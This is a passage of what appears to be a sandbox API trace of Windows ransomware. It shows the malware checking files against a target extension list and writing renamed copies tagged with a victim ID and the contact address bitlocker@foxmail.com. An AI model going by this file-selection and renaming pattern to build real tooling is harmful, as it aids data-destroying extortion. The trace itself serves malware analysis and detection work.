lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0200.051] lstrlenW (lpString=".1cd") returned 4 [0200.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0200.051] lstrlenW (lpString=".jpg") returned 4 [0200.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.051] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0200.051] lstrlenW (lpString="J0195772.WMF") returned 12 [0200.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0200.051] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3680) returned 1 [0200.052] CloseHandle (hObject=0x200) returned 1 [0200.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf")) returned 0x20 [0200.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0200.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0200.052] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.052] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0200.052] GetLastError () returned 0x0 [0200.052] ReadFile (hFile=0x200, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0) Thread: id = 407 os_tid = 0x7b4 [0182.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x690448 [0182.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x6a0450 [0182.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6387a0 [0182.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x636e60 [0182.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6387b8 [0182.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3af0020 [0182.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638800 [0182.581] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638800, Size=0x20) returned 0x633aa8 [0182.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638800 [0182.581] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638800, Size=0x20) returned 0x633b20 [0182.582] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0182.582] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0182.582] Wow64DisableWow64FsRedirection (in: OldValue=0x300ff58 | out: OldValue=0x300ff58*=0x0) returned 1 [0182.582] lstrlenW (lpString="kernel32.dll") returned 12 [0182.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633aa8 | out: hHeap=0x5c0000) returned 1 [0182.582] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0182.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633b20 | out: hHeap=0x5c0000) returned 1 [0182.582] Sleep (dwMilliseconds=0x64) [0182.801] Sleep (dwMilliseconds=0x64) [0183.034] Sleep (dwMilliseconds=0x64) [0183.418] Sleep (dwMilliseconds=0x64) [0183.837] Sleep (dwMilliseconds=0x64) [0184.077] Sleep (dwMilliseconds=0x64) [0184.381] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0184.381] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38 [0184.381] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0184.698] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3130) returned 1 [0184.698] CloseHandle (hObject=0x1e4) returned 1 [0184.698] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0184.698] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0184.698] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.698] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png") returned 93 [0184.699] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png") returned 93 [0184.699] lstrlenW (lpString=".doc") returned 4 [0184.699] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.699] lstrlenW (lpString=".docx") returned 5 [0184.699] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0184.699] lstrlenW (lpString=".pdf") returned 4 [0184.699] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.699] lstrlenW (lpString=".xls") returned 4 [0184.699] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.699] lstrlenW (lpString=".xlsx") returned 5 [0184.699] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0184.699] lstrlenW (lpString=".ppt") returned 4 [0184.699] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.699] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png") returned 93 [0184.699] lstrlenW (lpString=".zip") returned 4 [0184.699] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.699] lstrlenW (lpString=".rar") returned 4 [0184.699] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.699] lstrlenW (lpString=".bz2") returned 4 [0184.699] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.699] lstrlenW (lpString=".7z") returned 3 [0184.699] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.699] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png") returned 93 [0184.699] lstrlenW (lpString=".dbf") returned 4 [0184.699] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.699] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png") returned 93 [0184.699] lstrlenW (lpString=".1cd") returned 4 [0184.699] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.699] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png") returned 93 [0184.699] lstrlenW (lpString=".jpg") returned 4 [0184.699] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.700] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png") returned 93 [0184.700] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png") returned 93 [0184.700] lstrlenW (lpString=".doc") returned 4 [0184.700] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.700] lstrlenW (lpString=".docx") returned 5 [0184.700] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0184.700] lstrlenW (lpString=".pdf") returned 4 [0184.700] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.700] lstrlenW (lpString=".xls") returned 4 [0184.700] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.700] lstrlenW (lpString=".xlsx") returned 5 [0184.700] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0184.700] lstrlenW (lpString=".ppt") returned 4 [0184.700] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.700] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png") returned 93 [0184.700] lstrlenW (lpString=".zip") returned 4 [0184.700] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.700] lstrlenW (lpString=".rar") returned 4 [0184.700] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.700] lstrlenW (lpString=".bz2") returned 4 [0184.700] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.700] lstrlenW (lpString=".7z") returned 3 [0184.700] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.700] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png") returned 93 [0184.700] lstrlenW (lpString=".dbf") returned 4 [0184.700] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.700] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png") returned 93 [0184.700] lstrlenW (lpString=".1cd") returned 4 [0184.700] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.700] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png") returned 93 [0184.700] lstrlenW (lpString=".jpg") returned 4 [0184.700] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.701] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0184.701] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39 [0184.701] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0184.701] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3118) returned 1 [0184.701] CloseHandle (hObject=0x1e4) returned 1 [0184.701] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png")) returned 0x20 [0184.701] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0184.701] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.701] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png") returned 94 [0184.701] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png") returned 94 [0184.701] lstrlenW (lpString=".doc") returned 4 [0184.701] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.701] lstrlenW (lpString=".docx") returned 5 [0184.701] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0184.702] lstrlenW (lpString=".pdf") returned 4 [0184.702] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.702] lstrlenW (lpString=".xls") returned 4 [0184.702] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.702] lstrlenW (lpString=".xlsx") returned 5 [0184.702] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0184.702] lstrlenW (lpString=".ppt") returned 4 [0184.702] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.702] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png") returned 94 [0184.702] lstrlenW (lpString=".zip") returned 4 [0184.702] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.702] lstrlenW (lpString=".rar") returned 4 [0184.702] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.702] lstrlenW (lpString=".bz2") returned 4 [0184.702] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.702] lstrlenW (lpString=".7z") returned 3 [0184.702] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.702] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png") returned 94 [0184.702] lstrlenW (lpString=".dbf") returned 4 [0184.702] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.702] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png") returned 94 [0184.702] lstrlenW (lpString=".1cd") returned 4 [0184.702] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.702] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png") returned 94 [0184.702] lstrlenW (lpString=".jpg") returned 4 [0184.702] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.702] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png") returned 94 [0184.702] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png") returned 94 [0184.702] lstrlenW (lpString=".doc") returned 4 [0184.702] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.702] lstrlenW (lpString=".docx") returned 5 [0184.703] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0184.703] lstrlenW (lpString=".pdf") returned 4 [0184.703] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.703] lstrlenW (lpString=".xls") returned 4 [0184.703] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.703] lstrlenW (lpString=".xlsx") returned 5 [0184.703] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0184.703] lstrlenW (lpString=".ppt") returned 4 [0184.703] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png") returned 94 [0184.703] lstrlenW (lpString=".zip") returned 4 [0184.703] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.703] lstrlenW (lpString=".rar") returned 4 [0184.703] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.703] lstrlenW (lpString=".bz2") returned 4 [0184.703] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.703] lstrlenW (lpString=".7z") returned 3 [0184.703] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png") returned 94 [0184.703] lstrlenW (lpString=".dbf") returned 4 [0184.703] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png") returned 94 [0184.703] lstrlenW (lpString=".1cd") returned 4 [0184.703] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png") returned 94 [0184.703] lstrlenW (lpString=".jpg") returned 4 [0184.703] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.703] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0184.704] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30 [0184.704] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0184.704] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4955) returned 1 [0184.704] CloseHandle (hObject=0x1e4) returned 1 [0184.704] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png")) returned 0x20 [0184.704] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0184.704] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.704] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png") returned 85 [0184.704] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png") returned 85 [0184.704] lstrlenW (lpString=".doc") returned 4 [0184.704] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.704] lstrlenW (lpString=".docx") returned 5 [0184.704] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0184.704] lstrlenW (lpString=".pdf") returned 4 [0184.704] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.704] lstrlenW (lpString=".xls") returned 4 [0184.704] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.705] lstrlenW (lpString=".xlsx") returned 5 [0184.705] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0184.705] lstrlenW (lpString=".ppt") returned 4 [0184.705] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.705] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png") returned 85 [0184.705] lstrlenW (lpString=".zip") returned 4 [0184.705] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.705] lstrlenW (lpString=".rar") returned 4 [0184.705] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.705] lstrlenW (lpString=".bz2") returned 4 [0184.705] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.705] lstrlenW (lpString=".7z") returned 3 [0184.705] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.705] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png") returned 85 [0184.705] lstrlenW (lpString=".dbf") returned 4 [0184.705] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.705] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png") returned 85 [0184.705] lstrlenW (lpString=".1cd") returned 4 [0184.705] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.705] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png") returned 85 [0184.705] lstrlenW (lpString=".jpg") returned 4 [0184.705] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.705] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png") returned 85 [0184.705] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png") returned 85 [0184.705] lstrlenW (lpString=".doc") returned 4 [0184.705] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.705] lstrlenW (lpString=".docx") returned 5 [0184.705] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0184.705] lstrlenW (lpString=".pdf") returned 4 [0184.705] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.705] lstrlenW (lpString=".xls") returned 4 [0184.705] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.705] lstrlenW (lpString=".xlsx") returned 5 [0184.705] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0184.706] lstrlenW (lpString=".ppt") returned 4 [0184.706] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.706] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png") returned 85 [0184.706] lstrlenW (lpString=".zip") returned 4 [0184.706] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.706] lstrlenW (lpString=".rar") returned 4 [0184.706] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.706] lstrlenW (lpString=".bz2") returned 4 [0184.706] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.706] lstrlenW (lpString=".7z") returned 3 [0184.706] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.706] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png") returned 85 [0184.706] lstrlenW (lpString=".dbf") returned 4 [0184.706] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.706] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png") returned 85 [0184.706] lstrlenW (lpString=".1cd") returned 4 [0184.706] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.706] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png") returned 85 [0184.706] lstrlenW (lpString=".jpg") returned 4 [0184.706] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.706] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0184.706] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36 [0184.706] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0184.707] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3081) returned 1 [0184.707] CloseHandle (hObject=0x1e4) returned 1 [0184.707] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png")) returned 0x20 [0184.707] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0184.707] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.707] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png") returned 91 [0184.707] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png") returned 91 [0184.707] lstrlenW (lpString=".doc") returned 4 [0184.707] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.707] lstrlenW (lpString=".docx") returned 5 [0184.707] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0184.707] lstrlenW (lpString=".pdf") returned 4 [0184.707] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.707] lstrlenW (lpString=".xls") returned 4 [0184.707] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.707] lstrlenW (lpString=".xlsx") returned 5 [0184.707] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned 